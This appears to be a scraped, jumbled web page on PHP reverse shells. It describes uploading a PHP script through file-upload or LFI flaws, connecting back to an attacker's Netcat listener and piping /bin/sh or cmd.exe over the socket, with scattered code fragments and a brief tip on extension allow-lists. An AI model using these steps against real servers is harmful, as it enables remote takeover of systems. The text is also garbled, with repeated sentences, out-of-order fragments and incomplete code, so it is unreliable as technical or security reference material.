Check your Netcat terminal. You should see a connection confirmation, followed by an interactive prompt:
Upload the .php file to the target server via a file upload vulnerability or by exploiting a Local File Inclusion (LFI).
If an attacker has a limited injection point, they might use a compact PHP one-liner that leverages underlying system binaries like Bash, Perl, or Python. Reverse Shell Php
fclose($socket); proc_close($process);
:
// Redirect STDIN, STDOUT, STDERR to our socket // This allows the shell to read input from the attacker and send output back fwrite($sock, "Connected! Type commands:\n"); while (!feof($sock)) // Send a prompt fwrite($sock, "shell> ");
Only allow specific extensions (e.g., .jpg , .pdf ). Do not just block .php , as attackers can bypass this with .php5 , .phtml , or .phar . Check your Netcat terminal
stream_set_blocking($fp, 0);
When the PHP script executes on the server, it creates a socket connection using PHP's fsockopen() function, then spawns a shell process ( /bin/sh on Linux/macOS or cmd.exe on Windows) and redirects its input/output through the socket. The server then connects back to the attacker's listener on the specified port. stream_set_blocking($fp, 0); When the PHP script executes on
